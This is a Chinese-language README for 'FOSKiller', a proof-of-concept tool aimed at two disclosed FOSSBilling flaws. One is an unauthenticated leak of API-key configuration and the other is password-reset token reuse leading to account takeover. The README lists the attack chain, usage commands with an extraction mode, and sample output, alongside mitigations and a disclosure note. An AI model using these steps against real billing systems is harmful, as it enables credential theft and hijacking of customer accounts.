███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
由 7megaumka7 制作
针对 FOSSBilling ≤ 0.7.2 中两个已接受的 GitHub 安全公告漏洞的 PoC 工具
FOSKiller 是一个概念验证工具,用于演示 FOSSBilling 中的两个安全漏洞——FOSSBilling 是一个开源的计费和客户管理平台。这两个漏洞已通过 GitHub 安全公告计划负责任地披露,并在 FOSSBilling 0.7.3 及以上版本中完全修复。
本工具适用于:
访客端点 /api/guest/serviceapikey/get_info 返回完整的服务配置——包括 custom_* 字段、API 凭据、主机名和密码——且无需任何认证。知晓或枚举出有效 API 密钥的攻击者可以从公开端点获取完整的后端服务配置。
影响: 服务凭据、内部主机名、API 密钥暴露。
当客户端针对同一账户连续触发两次密码重置时,应用程序会颁发一个新令牌,但不会使前一个令牌失效。先前捕获到第一个令牌的攻击者可以在合法用户完成自己的重置流程后,使用该令牌设置新密码。
攻击链:
1. 攻击者触发 POST /api/guest/client/reset_password → 捕获令牌 T1
2. 受害者触发自己的重置 → 应用程序颁发 T2,T1 仍然有效
3. 攻击者使用选择的密码调用 POST /api/guest/client/update_password?hash=T1
4. 无论受害者是否完成重置,攻击者都拥有持久访问权限
影响: 任何重置邮件可被截获的客户端的持久账户接管。
如果缺少依赖项,脚本会在启动时检测并自动安装。
克隆并安装依赖项:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
或者不预先安装直接运行 —— 脚本会在首次运行时提示安装缺失的包。
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
--check-only 和 --exploit 互斥。
| 模式 |
|---|
仅检测——验证两个 CVE 而不提取数据:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
完全提取和攻击链文档:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
将结果保存为 JSON 并通过 Burp Suite 代理:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
测试未知版本或已打补丁的版本:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] 正在探测 https://billing.example.com …
[+] 检测到版本: 0.7.1
[+] CVE-2026-53647 受影响范围 (>=0.5.3 <=0.7.2): 是
[+] CVE-2026-53646 受影响范围 (>=0.5.6 <=0.7.2): 是
── CVE-2026-53647 │ 未认证 API 密钥配置泄露 ─────────
[*] 目标 : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] 模式 : 完全提取
[*] HTTP : 200
[+] 存在漏洞 — 端点无需认证返回了 4 个敏感字段
字段 值
──────────────────────────────────────────────────────────────────────
custom_hostname db.internal.example.com
custom_username fossbilling_db
custom_password [此示例中已打码]
custom_api_secret [此示例中已打码]
── CVE-2026-53646 │ 密码重置令牌重用 / 账户接管 ─────
[*] 发送重置请求 #1 …
[*] HTTP 200 | 142 ms | 2026-06-12T10:00:00.000Z
[*] 发送重置请求 #2(相同邮箱)…
[*] HTTP 200 | 138 ms | 2026-06-12T10:00:01.000Z
[*] 两次请求时间差 : 0.643s
[!] 两次重置请求均成功 — 端点接受重复重置,无速率限制。
── 总结 ─────────────────────────────────────────────────────────────
CVE GHSA 严重程度 状态
──────────────────────────────────────────────────────────────────────────────────
CVE-2026-53647 GHSA-737q-9gpr-6mpq 中等 (CVSS 6.9) 存在漏洞
CVE-2026-53646 GHSA-vp66-w6rc-x32p 高 (CVSS 7.7) 可能存在漏洞
升级到 FOSSBilling >= 0.7.3,该版本修复了这两个漏洞。
如果无法立即打补丁:
| CVE | 临时缓解措施 |
|---|---|
| CVE-2026-53647 | 在 Web 服务器或 WAF 层面阻止对 /api/guest/serviceapikey/ 的访问 |
| CVE-2026-53646 | 在重新颁发令牌时使其失效;对重置端点添加速率限制 |
这两个漏洞在公开发布前已通过 GitHub 安全公告计划报告给 FOSSBilling 维护团队。
本工具仅供教育目的和授权安全测试使用。
仅将本工具用于您拥有或已获得明确书面许可测试的系统。未经授权对第三方系统使用本工具违反《计算机欺诈与滥用法案》(CFAA)、《计算机滥用法案》以及全球范围内的类似法律法规。
作者对因使用本工具而产生的任何滥用、损害或法律后果概不负责。使用本工具即表示您同意对自己的行为负全部责任。
研究员与作者: 7megaumka7
漏洞发现、分析、负责任的披露以及工具开发。
| 安全公告 | CVE | 类型 | CVSS | 受影响版本 |
|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | 未认证 API 密钥配置泄露 | 6.9 中等 | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | 密码重置令牌重用 → 账户接管 | 7.7 高 | >= 0.5.6, <= 0.7.2 |
| 参数 | 必需 | 描述 |
|---|
--target URL | 是 | FOSSBilling 实例的基础 URL |
--key KEY | 用于 CVE-2026-53647 | 要测试的 API 密钥 |
--email EMAIL | 用于 CVE-2026-53646 | 要测试的客户端邮箱 |
--check-only | 否 | 检测模式——仅确认漏洞是否存在,不提取数据 |
--exploit | 否 | 完全提取 + 攻击链文档 |
--force | 否 | 跳过版本范围检查 |
--output FILE | 否 | 将完整结果保存为 JSON 文件 |
--timeout SEC | 否 | HTTP 超时秒数(默认:10) |
--proxy URL | 否 | HTTP 代理(例如 http://127.0.0.1:8080) |
| 参数 |
|---|
| 功能 |
|---|
| 检测模式 | --check-only | 确认漏洞存在。不显示或提取敏感值。 |
| 默认模式 | (无模式参数) | 确认状态并显示基本证据。 |
| 利用模式 | --exploit | 提取所有泄露的字段;记录完整的账户接管链及时间戳元数据。 |